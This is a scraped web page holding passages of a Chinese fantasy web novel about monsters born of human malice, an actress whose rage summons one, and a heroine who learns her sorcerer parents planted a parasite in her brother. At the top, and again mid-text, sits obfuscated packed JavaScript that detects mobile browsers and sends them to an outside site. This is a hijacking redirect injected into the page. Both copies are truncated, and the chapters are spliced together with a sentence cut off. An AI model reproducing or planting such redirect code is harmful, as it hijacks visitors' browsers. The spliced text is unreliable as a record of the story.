;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266098|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,之前我一直都有一种希望那些骂我的人都去死的念头,而很多骂我的人最后都再也没有发过言了。” “仅仅凭这样也没法……”江口没有说下去,她隐约觉得渡边说的话是对的 两人本就是同学,一直以来都在联系,是很好的朋友,一个当了偶像,一个当了演员。江口不知道要说什么好,她并不认为这就是对的,可是那些只是通过臆测或是因为自己与其观点不合就去轻易伤人的人就毫无罪过了吗? 两人又聊了几句,直到挂断了电话,江口也仍处于这样的纠结,而渡边却对此并没有那么在意。 第二天,事务所发展联络,她要出演的一部新的电视剧得到了宣传机会。现在怪人的事情弄得大家心态都不好,而这部电视剧刚好是能够带来希望的作品,所以正巧被看中,能够在黄金时间播放。由于电视剧的背景就在学校之中,是以这个学校取材,所以早上要以给学生们惊喜的方式与大家见面,顺便宣传一下电视剧。 后一天的安排很满,先是去学校做这个活动,结束之后马上就要去另外一个城市去做一家新店的食评,而后面一个下午都是各种各样事务所定下的培养她的课程,等到晚上要去录一部综艺。事务所还说将会在这一天之中有一个整蛊活动,一定要让她给出好的反应。 这方面她自然是专业的,尤其是当红的演员,如果没有两把刷子的话,哪里能爬到今天的位置?可是问题就在于,她本以为整蛊大概是在晚上人身心疲惫的时候进行整蛊,却没想到这发生在早上的这个她最重视的活动之中。 她虽是名人,但却不是瞎子,不论是现实的也好,网络上的也罢,她早已明白人们的精神都处在极不稳定的状态,就是前天晚上和渡边的谈话,让她在担心对方的同时,也在不断地反思着自己的状态。她觉得自己的状态简直糟透了,已经糟糕到了随时都在害怕自己搞砸。现在的社会逐渐变得混乱,怪人把人们的精神弄得一团糟,现在自己还有如此多的工作可以做,简直说是万分的幸运。娱乐圈的人们都变得越发的忙碌,而其他行业的那些人失业率在不断上升。 她早就希望能做点什么,她希望用自己的影响力去改变他人脸上阴郁的表情。“哪怕有一个人也好,我要用自己的能力为他带去向上的动力。”这就是江口心中最直接的想法,更不要说活动地点还在学校这个本就该充满希望的地方。这个学校非常特殊,这本就是她的母校,而这个电视剧为什么选她来演很有可能就是因为她正是这个学校出来的学生,而电视剧又刚好在这个学校进行取材。 然而…… 板擦掉落,光线消失,灯光闪动,血液在不同的地方渗出,她害怕极了。她不知道自己是否撞上了怪人,毕竟当灯光重新亮起的时候,教室里就只剩下了她一个人,看着周围的血液,她不知道大家是否已经遭遇毒手,那一刻,她想起了自己的父母。 “整蛊大成功!” 当工作人员们欢呼着从教室外走进来之后,她的大脑一下子宕机了一瞬间,她下意识的露出了营业的笑容,这是没过几秒,她就再也难以笑出来。如果有可能,如果渡边的话是真的,如果人真的可以引发怪人的力量的话……她的笑容变得扭曲,面容变得愤怒,这么一个令人期待的能够真正为现在的社会做点什么的活动,“居然是整蛊的假节目吗?” 工作人员们都看向了她,江口再也没有办法抑制心中的怒火,“你们真的有心吗?在你们眼里收视率之类的东西真的就已经是最重要的了吗?为什么不用这个工夫好好地为学生们准备一个惊喜呢?为什么,你们不去死呢?” 她太生气了,甚至不愿意去道歉,这一段本就会被减掉,到时候电视上只会留下滑稽的丑态,但至少现在,要让她骂个痛快才行,居然在怪人如此活跃的时期搞恐怖类的整蛊为乐,这群人是不是都病了? 令她没想到的是,一些奇怪的声音传来,一个怪人堵住门,没有花费多少时间就屠杀了三人。江口完全没想着逃跑,而是笑了出来,这样也太便宜他们了,至少,要让他们经历我所经历过的痛苦才行。 听完了讲述,英梨和晴子也明白了这到底是怎么一回事。 英梨轻叹一口气,“你大概没想到怪人的攻击目标是无差别的吧。” 江口的心中充满了后悔,她自己的冲动之下,为这个学校带来的只剩下恐怖,无言面对这一切,她不知道怎样才能得到解脱,至少希望这两个能够与怪人战斗的人可以给予自己审判。 谁知晴子却拍了拍她的肩膀,只说了句“人之常情”,而英梨也是无奈地摊了摊手,留下了一句“真没办法”。 这让江口大为震惊,她以为她们会大骂自己,或者是让自己付出代价,可是现在却完全没有任何这样的迹象。 “你们不生气吗?发生了这样的事,给大家添了这么大的麻烦,你们为什么会无动于衷到这种地步?” “硬要说的话,本身就没有法律规定?”晴子回想起了过往的种种,“这种事就算是发脾气了又能怎么样呢?难道叫大家都不要生气吗?” “可是……” 英梨摊了摊手,“没办法的,我们能做到的不过是战斗罢了。只要这个世界上还有人,这样的事就是难以避免的,不知者无罪,虽然你也不能算完全的不知,但是和邪道的性质又相去甚远,没必要和你这种人计较。” 晴子也接着说:“你或许希望有人能够对你指责,毕竟你认为自己做了一件坏事,可是承担这份心情,去帮助更多的人才是比接受指责更有意义的事情。更何况你作为当红的演员,光是这件事的收尾工作就已经有的你麻烦的了。” “帮助别人啊……” “嗯,以你的个人影响,应该可以做到很多只有你才能做到的事才对。” 警笛渐渐接近,与烦躁害怕的普通人不同,这一次警察们出奇得镇定,甚至感觉非常的幸运。从坏处来讲,这场事件发生的地方是学校,不知有有多少学生的生命会受到威胁,但是从好的方面来说,正是因为发生在这个学校,那么死伤的人数一定可以得到控制,毕竟怪人的三个天敌都会在今天身处这里。 警察们上课楼,立即着手帮助学生们并调查现场,当看见在场的人还有江口的时候,大家就都知道事情是怎么一回事了。 江口被警察们带去调查,而黑木则是先去关心了三人的状态。 老师和学生们在警察确认了安全之后,陆陆续续回到了教学楼之中,每个人看见遇难的学生都是心情复杂。那些从一开始就围堵晴子和风夏的学生之中,有很多都是那种为了看热闹而不管事大的人,这次的怪人在这么近的地方肆虐,让他们的心中失去了所有看乐子的心态,全都只剩下了名为“恐惧”的安分守己。 到了警视厅,江口才彻底了解了事情的真相,就算两个女生对她说出了那样的话,当她亲眼看见无辜的人也惨遭毒手的时候,还是让自己的心里产生了强烈的罪恶感。不过哪怕她已经下决心要用自己的力量去做些什么,各方都不会放过她。 这件事毕竟牵扯到了很多业内人士,同时去录节目的有那么多人,但是最终却只有她一个人活了下来,这不管怎么看都是不正常的。再结合之前大家的种种猜测,她很快就处于风口浪尖,别说做什么了,哪怕多说一句话都会让评论群魔乱舞。 死去的学生共13人,身体受伤的还有29人,精神出现问题的共36人,学校直接选择了停课,毕竟家长们全部炸锅,完全不希望学生再去那么不安全的地方上学,更不用说学生们自己了。尤其是遭受伤害的学生们,每个人都有不同程度的心理阴影。 要说还有什么影响的话,那就是连续的事件让民众越发恐慌。似乎根本就没有任何安全的地方,自己的生命随时都要面临被夺去的危险。而且经大家推测,怪人应该本就和人有关,这导致不少人在说话的时候变得更加小心翼翼,生怕惹他人不快而招来怪人袭击,有些人则是更加无所谓,秉持着一副凭什么怪人不能是自己创造的心态,对他人越发恶言相向。 很快,以快乐为本的思想就开始冲上热搜,大家都开始主张及时行乐,免得哪一天人就没了,有一部分人开始不听领导的要求,甚至有不少人开始尝试游走于法律的边缘。当恐惧到达了一定的地步,便转为愤怒和疯狂了。 令人意想不到的是,从这一天之后,怪人很长时间都没有冒出来了,这给了一直处在战斗中的人们难得的休假。起初,各方面还在保持着高度警戒,但是当怪人时隔两周都没有再出现时,大家都慢慢地放松了些,总觉得那根弦终于能够慢慢地不用绷得那么紧。 要说有谁还在警戒,那就是英梨了。越是这种时候,她越发感觉心慌,总觉得这并不正常。怪人频繁出现的时期一般来说不会这么轻易就走向结束,看现在众人的精神状态也完全不像是能和良好沾边,所以她几乎每三天都会出去进行一次巡逻,观察各个城市的能量是否有异动。 在这段时间中,偶像们都变得忙碌了起来,各地的偶像宅越来越多,哪怕只是地下偶像,都让大量的人为之疯狂。英梨所属的乐队活动量一直增加,听众们就像是永远不会满足一样,贪婪地将歌词中所有美好的情感一遍又一遍地装进自己的身体,就好像停下来的那一刻就会回归地狱。 这样下去完全不是办法,警视厅的怪人对策小组立即和各方合作,开展了警方、医院、心理治疗师的三方连协,开始尝试改变社会现状。警方帮忙大力宣传活动,心理治疗师初步排查来求助者的心理状态,依照情况判断进行调解还是交由医院处理,而这两方的各种反馈结果又重新回到警方手里作为参考。 19. 旧事 自从上次事件以来,这个学校就停课到了现在。虽说过了两周,但之前的受害学生中还是有不少人都持续进行心理咨询和入院治疗,除此之外,去进行心理咨询的人也非常多。警方经过思考,决定派晴子和等人去相关机构都转转,看看有没有怪人相关的苗头。 这是一家私人的诊疗所,由于才经营了没有多长时间,警方也担心这里会不会因诊疗效果不好而诱发怪人,但经营者坚定地希望在合作项目出一份力,这让警方也没有选择拒绝。三人敲门进去,发现里面正有一对父子等待咨询,而咨询室里还有人在咨询中。 男孩看着不大,也就是小学生的年纪,脸上满是不安,有些紧张和拘束地坐在那里。男孩的父亲满是愁容,感觉是一个普通公司职员的样子,还穿着一身西装。 三人在另一个沙发坐下来,风夏搭话道:“现在里面还在咨询吗?” 父亲便答道:“是的。” 他看了一眼三人的样子又说,“你们都是来咨询的吗?” “这倒不是,警方不是和多方合作了吗?我们来看看情况。”说罢,风夏拿出了警方特别发放的一个身份证明,看起来就像是警察证一样,打开之后有警视厅的公章,看起来还挺精致。 “原来如此,是警方的人啊。”父亲说完轻轻叹了口气。 风夏便转头看向男孩,从提包里拿出一个小小的熊玩偶递过去,脸上带着温柔的笑容,“怎么了呀,心情不好吗?这个送给你。” 男孩看了一眼父亲,见父亲点头,才小心地接过玩偶。男孩双手轻微的颤抖并没有逃过她的眼睛,她便又看向父亲,“这是怎么了呀?” 父亲轻声问男孩:“可以吗?” 见男孩点点头,父亲才开口道:“唉,这孩子昨晚做了噩梦,梦见自己变成了怪人。” 一听到这句话,女生们相互看了看,晴子问道:“是什么样的怪人?” 可这一下却问住了父亲,他又向儿子,“什么样的怪人?” “不知道。”男孩一边捏着小熊一边说,“反正就是怪人,我梦见自己杀死了很多人。” “这……之前有见过怪人吗?” 父亲肯定道:“是的,见过的,之前有一次,我们走在路上的时候见过武士型的怪人就在距离我们五米左右的地方,一刀将一个人斩为两段,再加上现在网上满天飞的怪人的照片,真的是……” 他心疼地看着自己的儿子,真不知道这样的事怎么就让他们碰见了。 男孩又紧张地说:“我昨晚玩游戏的时候,我不小心杀死了游戏里的村民,然后拿到了他们的装备。” 晴子奇怪道:“这不是游戏吗?” “是的,可是我,我不知道为什么我笑了,我为什么会笑啊,我难道要变成那种杀人的怪物了吗?我朋友的妈妈就是怪人杀死的,我是不是也要变成那种可怕的东西了?我不要变成那样,我不要……” 眼看着男孩身上的黑气越来越重,晴子猛地冲了过去,一把握住了男孩的手,“别怕!” 随后强烈的力量冲得她足足缓了三秒,等意识恢复过来,听见双方都在呼唤自己人的名字。 “弘树,弘树,你还好吗?” 弘树的呼吸慢慢平静下来,“我……还好,不知道为什么,我的心里突然不难受了,突然舒服了很多。” 父亲不知道为什么儿子突然这么说,但是现在儿子脸上的微笑又不像是假的,这一下子反倒让他感觉有些恐怖了。 晴子轻眯双眼,视野还有点恍惚,她坐回原来的地方狠狠地呼吸了几下,才渐渐平稳下来。风夏和英梨都担忧地看着她,而她本人更是有一种极大的惊恐。为什么,为什么会是这么强的力量?她始终想不明白,一股极其不好的预感瞬间冲了上来。 父亲看向晴子那边,“这是怎么了,没事吧?” 风夏连忙摆摆手,“没事没事。” 这时,一个人从门外进来,手里拎着一些面包之类的东西,看见有新的人来了,情况还不是很好的样子,便连忙上来关心,“怎么了,还好吗?咦,英梨?” “琉衣姐,我来啦!” “等等我啊,我去帮你们倒点水。” 琉衣连忙放下手里的东西去接水,英梨趁此机会介绍道:“这是木下琉衣,她是乐队里的主唱,我们两个的乐队曾经合作过。” “是啊,你们都是英梨的朋友啊,之前就说要和你们一起来呢,没想到今天来了,也没提前让我准备准备。” 风夏连忙说:“用不着准备,我们也就是过来看看,哪能这么麻烦木下姐姐呢。” “叫我琉衣就行,我跟英梨很熟了,你们也不要那么拘束。” “那琉衣姐叫我风夏就行。” 晴子也附和道:“我叫晴子。” “风夏和晴子啊,我记住啦。”琉衣将水杯相继放在五人面前,还顺便带来了两盘小零食,“都不要客气哦。” 大家伙刚尝了尝零食,正满嘴说着好吃的时候,店主就和一个咨询者从里面的房间出来了。 就这一个对视的功夫,不过过去了多久,晴子都一下子想起了这是谁。虽然并不知道名字到底是什么,但是确实曾有错身而过的一刻。” 成田真白也对这个女生有印象,毕竟那天实在是印象太深刻了,一方面是自己的状态如同空壳,另一方面是这个女生那复杂的眼神。两人就这样突然看着对方,成田一下站在了原处,万般情绪涌上心头,那真是一段难忘而不愿回首的过去,难不成这个女生就是那个男孩的什么人。 其他人看看两人,完全不知道发生了什么。然后成田先开口了,“我还记得你。” “我也是。” 琉衣恍然大悟,“原来你们认识啊,前辈怎么从来没和我说过啊。” 成田重新动了起来,一边微笑着送之前的咨询者离开,一边想着怎么组织语言。晴子便道:“只是见过一面,也是挺久之前了。” “是啊。”成田本以为自己已经重头来过了,可是那股愧疚感却还是如此强烈,而且不知道为什么,她总觉得这女孩就像是知道很多事情一样,明明两人一句话都没说过。 空气变得有些尴尬,琉衣和英梨都有些慌了起来,但是风夏却一下子猜了个八九不离十,这人恐怕也是个曾经某个怪人的起点,而且应该是比较差的情况。 成田自己也觉得这样不好,便转头到父子那边,“您好,请问是孩子咨询吗?” 弘树的父亲点点头,“麻烦了。” 但是弘树却道:“我觉得不用咨询了,我不难受了。” 成田忙说:“千万不要这么想,如果真的有问题是不能拖的,不能自己觉得是什么就是什么,我可以帮你测验和分析一下假设真的有什么问题却没有得到重视,后果还是相当严重的。” “那好吧。” 成田与弘树离开后,英梨才悄悄问道:“到底出什么事了?” 晴子看向琉衣,“琉衣姐以前是做销售的吗?” “诶?你怎么知道?”琉衣有些吃惊,忙问英梨,“是你讲了吗?” 英梨赶紧摇摇头,“没有啊,我没提过这些事。” “真是令人吃惊,你是看了我一眼就知道我是做什么的了吗?”说完,琉衣突然反应过来,“难道说前辈她曾经……” 晴子没有说话,只是叹了口气,琉衣尴尬地笑了笑,“按理说前辈应该不是那种人才对啊,怎么会这样呢。” 风夏见状立即转移了话题,开始询问这段时间店内的情况,咨询者的状态和数量,有没有需要帮助的地方等。 时间一分一秒过去,不过并没有花多长时间,两人就已经从咨询室里出来了,成田感觉非常不理解,这个男孩还真就像自己说的那样,确实不需要咨询,这真是奇了怪了。在他们出来的时候,风夏的记录也做得差不多了。 弘树的父亲站起身,重新拉起孩子的手,“请问,他真的没问题吗?” 成田点点头,“真的没问题,虽然真的很奇怪,但是他的心理状态还不错。” 这番话让父亲感觉之前看见的都是自己的错觉,有些不知所措地又确认了几次之后,只得道谢之后离开。 风夏也站起身,“我们也该离开了,还有一些地方要去,就先不打扰了。” 成田和琉衣见状一同将三人送出去,就在要走的时候,成田还是开了口,“这么久还没问问你的名字,我叫成田真白,如果可以的话……” “香月晴子。” 晴子也没想藏着掖着,成田见状也松了口气,但是有一个人却突然变了脸色。 “香月,香月……”走在路上,英梨感觉大脑都在颤抖,她已经多久没有听到过这个姓氏了,仔细想来确实没有问过晴子到底姓什么,只是晴子晴子地叫着,结果没想到居然姓香月吗! “晴子!可以去你家看一眼吗?” 英梨突然提出这件事,两人很有默契地感觉到可能是发生了什么事。 “可以啊,不过突然间怎么了?之前本来说让你住我那呢,结果后来突然变了主意,也没带你去看看。” 英梨实在是有些笑不出来,“香月这个姓氏,算是邪道里都有名的了。” 此言一出,风夏和晴子同时一怔,回想起自己身上发生的种种,晴子的心里也开始纷乱如麻。英梨始终记得父母的教诲,毕竟邪道太过恶劣,人数也并没有那么多,导致“每一个邪道是谁”这件事都是每一位封魔族人的必学知识。 三人二话不说打了个车就往目的地冲,当看见熟悉的门出现在自己眼前的时候,晴子也才意识到自己确实是很久都没有回到这个地方了。 打开门,沉寂的空气重新开始流动,已经有些积灰的家具如同尘封的卷轴,记录着新到来的每一笔。晴子一踏入房间,有一股莫名的安心感一下子涌了出来,她怀念地看着每一样东西,走进每一个屋子,过去的记忆冲刷着脑海,连邪道的事也不再让她那么的愁绪翻飞。 可是让英梨踏入其中,体验完全相反,这就像是一个巨大的熔炉,亦如同巨大恶魔的腹中,很久以前留下的力量都想要将她吞噬。汗珠落了下来,她惊觉自己的力量已经在与此地对抗,她快步走入某个房间仔细查看着各个角落的能量,随后一张符纸向某处抛出,一道强烈的波动绽放开来将屋里脆质的饰品炸了个粉碎,她本身也一下子撞到了背后的墙壁上。 晴子与风夏闻声而来,映入眼帘的是一个发着微弱光芒的黑红色法阵,而那个地方,正是哥哥曾经的床。 哥哥曾是能看见的,那时,晴子也才初一,而哥哥已经是高一了。她忘不了那一天,当放学的时候,老师告知她哥哥已经身处医院。她赶快赶到那里,发现父母都在,而哥哥已经被确诊为了视神经病变的后天失明。 “这……到底是什么?”晴子鼓起勇气还是问出了这句话。 英梨不忍心开口但又不得不说出了那个答案,“这是邪道中的阵法,我只能看懂其中一部分,恐怕这涉及了寄生。” “寄生?” “嗯,让阴魔寄生于人体,或许你也可以叫其附身。” 晴子的脑海中瞬间出现了一个相当不好的想法,她强忍着生理与心理的不适追问着:“能详细一些吗?” 英梨看了一眼她的样子,又看了一眼风夏,风夏便用手扶住了晴子的手臂,自己也靠得更近了一些。 “这件事恐怕要从族内说起,我想它应该是……” 封魔一族中,还小的英梨坐在桌前,母亲在身边为她讲述邪道相关的知识。一个又一个邪道的名字和他们做的事被母亲详细地告知着,英梨也越发感到恐惧。终于母亲翻了一下书,接下来要讲的便是香月风斗和香月杏果。 这两人在邪道中的特殊之处便是别的邪道都是用阴魔发动攻击,换句话说是用阴魔的力量达成自己的目的,但是这对夫妇是妄图用阴魔的力量加持己身,从而让自身达到进化。 将污秽之物与封魔法身结合触碰了大禁忌,这让阴魔消失但却并未斩草除根,是一种打破平衡的恐怖行径。族长立即公布了全族追杀令,势必将香月二人抓回,可是却完全不知道他们去了哪里,他们身上的能量就像是凭空消失一般,不管怎么捕捉都无济于事。而在外界,他们有哪里有权限调查所有姓香月的人? 听到这,晴子打断道:“可是我从小到大一直觉得父母很正常啊,而且一直生活在你所说的外界啊,我对封魔一族毫不了解。” 英梨却说:“没想到他们这么早就已经在谋划了吗?居然连自己的孩子都没有告诉。” 没有详细回答晴子的问题,英梨继续开始了讲述。 时间匆匆过去,关于邪道的传闻越发离谱,似乎想要追杀邪道变得越发困难了起来。直到某一天,封魔一族的驻地突然紧张了起来,人人都在做着各种准备。已经长大的英梨询问着父母:“到底发生了什么?” 父亲一边收拾着东西道:“族长的人查到了消息,邪道们似乎要发起进攻了,这一次恐怕有些麻烦了。” 母亲也一改往日的慈祥,将头发扎起,脸上满是一个战士才有的的神情,身上战气升腾。她将手放在英梨的肩头郑重地说:“英梨,邪道沉寂那么久突然漏了风声,如果不是有把握的话,那群疯子肯定不会这么光明正大,说不定是他们给族长的人下了套,如果发生什么事,一定要逃。” 英梨不由得紧张起来,心中的不安徐徐升高,她正欲再说什么,唐突听见了爆炸声传来,父亲由于是族内战斗队的成员,所以连忙向那边奔去,几秒之后家中的房屋突然被撕开,一个精壮怪人就那样站在了两人的面前,背后长着两个石头一般质地的触手,轻松地将石砖如豆腐般碾碎。 母亲的手中战气一动,一杆长枪就那样出现在了手中,在英梨还未反应过来时,长抢与触手就已经碰撞了二十多次。枪尖仿佛有雷声阵阵,母亲的身上也泛出道道震荡着空气的细小闪电,英梨一下子回过神来,眼睛跟着双方快速移动,她变为了封魔法身,用力地呼吸着,直到找到了一个空档,使用了三蛇封尽。 怪人的眼睛看见袭来的大蛇,用拳抵挡着母亲的枪尖,而触手则是轻轻一挥就将三条大蛇中的两条打成光点,只剩最后一条时,它分出一只手去抵抗时,视线重新看回面前,却发现已经没了母亲的身影。 在它的背后,母亲枪身一转,两个触手齐齐落地,又侧身一□□穿了它的头颅,最后一脚踢飞,使它的身躯被大蛇一口吞下。 “做得好,英梨。” 母亲小跑过来,看着已经有些力竭女儿倍感欣慰。不过这次喂了一只,应该可以让女儿好好地消化消化了,也算是因祸得福。英梨喘着粗气,这是她第一次实战,实际上她现在的水平还不足以使用封魔法身,但是那个阴魔出现在眼前的时候,她就知道没有法身的话自己的攻击就会像是飘落的花瓣一般无力。 母亲仅仅是扫了一眼周围便正色道:“英梨,我帮你施加断光术,你藏起来找机会去外界,去那边躲藏起来,不要回来了。” “可是妈妈……” 母亲的目光柔和下来,她又何尝没有不舍的情绪,明明英梨再过几年就成年了,明明还没有见证过她的成人礼。可是现实由不得她犹豫,周围阴魔散发出的能量就像是大山一般将全族驻地包裹。她摸了摸英梨的脸,额头出现了一个蓝色的印记,然后汇集了大量的法力于一张纸符,又燃烧了另一张纸符施加了祝福术。当纸符被按在英梨身上时,她的身体就像是被火焰燃烧的柳絮一般,随着一次走遍全身的火焰快速消失在了这片空间。 英梨知道这断光术的厉害,就像是可以斩断所有的光一般令人凭空销声匿迹,就连走过的地方都会被法力恢复如初,是顶级的遮蔽术。只是这代价,是高等级封魔师一半的法力。她看见了母亲的笑脸,她却留下了泪水。她自然也知道那黑压压的能量意味着什么,但她躲了起来,用力擦去了泪水,攥紧了双拳。 只过了半分钟,阴魔大军就已经浩浩荡荡地杀来,整个封魔驻地战气冲天。由于第一只阴魔被封灭,转眼之间十只阴魔就包围了母亲。母亲微微一笑,这十只阴魔都没有察觉到一丝女儿的气息,这已经足够了。哪怕是刚才那种水平的阴魔,母亲竟以一敌十,似游龙流转局中,出招犹如虎啸山动,只见得阴魔身体崩碎,大地裂若干河。终于,在连封八魔之后,一名邪道终于坐不住了,只得亲自提刀赶来,与母亲大战五十多招。 封魔驻地本是神秘而美丽的地方,此刻已如嚎哭的地狱,鲜血与尸身遍地,邪道们就像是有用不完的阴魔一般,发动着攻击。直到某一刻,一切都沉寂了下来,英梨才慢慢摸到驻地的出口。现在的她还没有打破边界的能力,只能靠着固定的出口用特殊的道具才能得以通行,她看了一路见到了不少污秽至极的尸体,恐怕阴魔那边也是损失惨重的。 当随着一阵波纹出去之后,她才第一次见到外界是什么模样,也才终于放声大哭。她记住了那邪道的模样,她发誓在自己变强之后必将所有邪道斩杀,但现在的她还是这么无能为力。她这一路都不敢回头,感觉一直有邪道在她的身后活动着。她也察觉到有几个族人到了外界,可是恐怕状态都不好。 断光术到了外界就很难维持了,毕竟两侧的能量场还是有差别的,她快速移动着,在街上一路狂奔,直到自己累得喘不上来气,才渐渐停下脚步。 讲到这,晴子看着那个法阵道:“所以我的父母是邪道,然后说不定还是你们灭族的罪魁祸首。” 英梨想要去安慰,但是自己实际上表达出的也就是这个意思。那一日,确实有阴魔被杀之后变为了人形,这种能力和香月夫妇的想法是相同的。 “那这个阵法总得来说算是怎么回事呢?” “大概是你的父母将阴魔寄生到你哥哥身上蕴养吧,只是这种事情一定会对人类的身体造成伤害,轻则病痛,重则丧命。” 晴子脸色铁青,还是接着问道:“那我又是怎么一回事呢?” “那我还不太能确定,不过倒是有溯源的办法,既然你的力量也来自这一只阴魔的话,可以用灵丝将你的意识接入阵法,在那时应该可以看到法阵建成时的部分场景。” “那就来吧。” 看晴子毫不犹豫的样子,英梨也不矫情,“那我动手了。” 一个清澈的法阵从晴子脚下展开,从她身上嗖嗖地窜出来了八条蓝色的细线,分别落在了那个污秽法阵的八个方向,一时间,双方的力量都躁动了起来,污秽的法阵上浮现出十几个想要冲出法阵的人脸模样。晴子缓缓闭上眼睛,英梨手掌一合,“连!” 瞬间,晴子就看到了自己的父母正在床边,而哥哥则是如同睡觉一般。 父亲兴奋道:“终于完成了!这下就迈出了一步了,说不定有天能实体化呢!” 母亲也露出欣慰的笑容,“那就得看晴子了。” “我相信肯定没问题的。”父亲隔着墙看向晴子的房间,“晴子她看见有人陷入痛苦一定会帮忙的,只要达到阈值,正志身上的阴魔就会与晴子合为一体。” 母亲也附和道:“都怪正志不争气,明明是我们的孩子却身体这么不争气,这下只能用命先养着了,等到未来力量到了晴子身上,自然会诱爆出越来越多的阴魔,随着一次次吞噬后,我们再……” 画面到这里,母亲的声音突然变小了,画面突然变得很远很小,然后晴子睁开了眼睛。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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英梨看着眼前的怪人,一开始就拿出了最强的力量。她集中了自己所有的精神,用力向高空一跃用力拉开了自己的弓,与此同时,一口血从嘴角溢出,身上的光粒已经顶到巅峰,“接招吧,爆风万花针!” 数十支箭伴随着剧烈的风压从空中倾泻而下,但凡落在地上的箭都裂成了六分,在地上留下如同花朵一样的六道深深的凹痕,仿佛是用刀将水泥地硬生生割开。然而令人绝望的是,怪人几乎没有受到伤害,只是几处皮肤被划开了口子。 “大蛇!” 吞噬能力的大蛇应声从地面冲出,一口咬了过去,然而怪人一挥剑就将大蛇整个从中间劈为了两半。但是那极大范围的技能实在太过危险,不封住不知道要造成多大的伤害。想到这,英梨便一连使用了六张纸符,五条比之前那条还大的黑蛇一同向着怪人咬了过去。怪人一个转身环形斩,一剑就斩了五条大蛇,但还是被从地下正下方的巨蛇咬了个措手不及。 英梨不可能放过任何机会,又是暴雨般的箭矢射了过去。这次怪人用剑打出了极快的斩击,将能够威胁到自己的箭矢全部用斩击打碎。爆炸结束后,英梨从烟尘中钻出,已经到了怪人面前,袖剑与西洋剑的交锋又是一连三十多招。 晴子与风夏终于到达战场,英梨已是单膝跪地,只是用弓撑着自己的身体。晴子想要变身,但是已经完全无法变身,不管再怎么用力,再如何怒吼,都没有办法变成怪人的姿态。见晴子到来,怪人突然离开了此地。 “别逃!和我战斗啊!” 但怪人哪里会听晴子的话,再一次开始了屠杀。不管晴子怎么追都无济于事,怪人根本不会和她战斗,直到跑得她再也跑不动。 晴子只能听着人们的悲鸣而无能无力,她跪倒在地上,一圈又一圈地捶着地面,“可恶!可恶!可恶!” 警察们也在追逐怪人,当看见那是什么的时候,黑木痛苦地皱起眉,八塚玄则是一下闭上了眼睛,这一天终究还是来了。其他的警察怎么又能不知道自己要面对的是什么,几乎所有人的脸色都极其难看,终于,在八塚玄一声令下,所有人都开始开火。 警车完全不敢停下来,每个人都紧张地绷紧了神经,而面对着这个一直以来的战友,大家的心里更存在着一份痛苦,一份真的不想开枪的痛苦。 战斗一直在持续,直到警方真的撑不住,被迫撤退休整的时候,已经死了三分之二的警察,战果是令怪人失去了左眼。不知道是不是攻击范围内的人除了被杀的之外都撤离了,或许是警察们拖的时间终于起到了作用,怪人如同休眠般得停在了原地。 疲惫不堪的黑木终于有机会拨打晴子的电话,但却没人接,他只好拨给了风夏,可风夏却说,晴子自己跑了。英梨已经难以站起来,只能庆幸还能保持清醒。风夏与警察们疯了一样地找着晴子,但是哪里都看不见她的人。 新闻报道着这场灾难,保守估计已经死了几百人,人们恐惧万分躲在自己认为安全的地方,能离开东京的人无一例外全部选择撤离,每一趟电车都是爆满,公路也堵得不成样子。 中午,一条新闻引起了众人的注意,那是多张“灰烬”的照片和晴子解除变身的视频,爆出了前所未有的情报,只不过其中只有晴子自己的,完全不包含其他怪人,还提出了晴子正是这只怪人。发表的人是一个曾在很早前就偷拍了战斗现场的女记者,从那一次开始,她就像跟踪狂一样,想方设法记录着晴子的每一次变身,为的就是这一天能拿下一个大新闻,从而赚得盆满钵满。虽然晴子确实注意,但总有被冲昏头脑的时候。 网上的骂声瞬间起来,所有认识不认识晴子的人几乎都开始对其攻击。没有一个人去说怪人如何,而是都在说着晴子有多该死。一群对怪人经常研究的人更是拿出了大量的分析,一条一条罗列着晴子的罪恶,更有甚者开始质疑警方是否包庇,是否早已站在怪人那边妄图侵害民众的利益。 没过多久,怪人又开始动了,它的眼睛已经回复如初,就像是拥有嗅觉一般追杀着众人。 伤亡人数快速增加,警方根本无法控制局面,终于,防卫省有了动作。八塚玄都要气炸了,自己手下的警察都死了不知道多少了,防卫省才开始出动兵力对抗。直升机上,自卫队员笑着评价警方的力量薄弱,坦克之中,队员吐槽着只是个人类一样大的怪物,就要出动坦克去应对。 时间一分一秒地过去,城市已经变了样子。尽管怪人被封印了那招风乘爆弹,可是杀伤力还是非常高,晴子只能使用一次的能力在怪人的身上反复被使用着,它就像是地狱中爬起的恶鬼,在对着这个城市里的人们刻下不可磨灭的恐惧。 终于,到了黄昏时分,坦克才终于被调到了地方,然而令队员们大吃一惊的是,在现场看见了直升机爆炸后的残骸和同行的尸体。街上静悄悄的,也不知道上头给出的信息是否准确,只是这一路的目光所及之处,遍地是残垣与遗骸,队员再也笑不出来,再也调侃不出一声,汗水从耳边流下,手心也渐渐有些湿润。 突然,听见了什么东西落在了坦克上,两人下意识地抬头,一下子被一把剑刺穿了坦克的顶盖,刀刃就在两人之间放出了火焰,坦克还未开一炮就已经自己炸成了废铁。 自卫军一共派出五架直升机和三架坦克,至此已经全灭。防卫省气极,立即派人向警视厅了解情况。而在警视厅方面将怪人相关的一系列内容告知后,上面下来的命令是,处死晴子。在场的其他人还未说话,黑木直接表示拒绝。防卫省的人上前一步要求黑木执行命令,交出晴子。 黑木不甘示弱死死盯住对方的双眼表示绝不让步,防卫省的人见状也不啰嗦,立即掏枪,“事态已经到了这个地步,我们来的时候就已经被赋予了权限,你们不服从命令以同罪处理。” 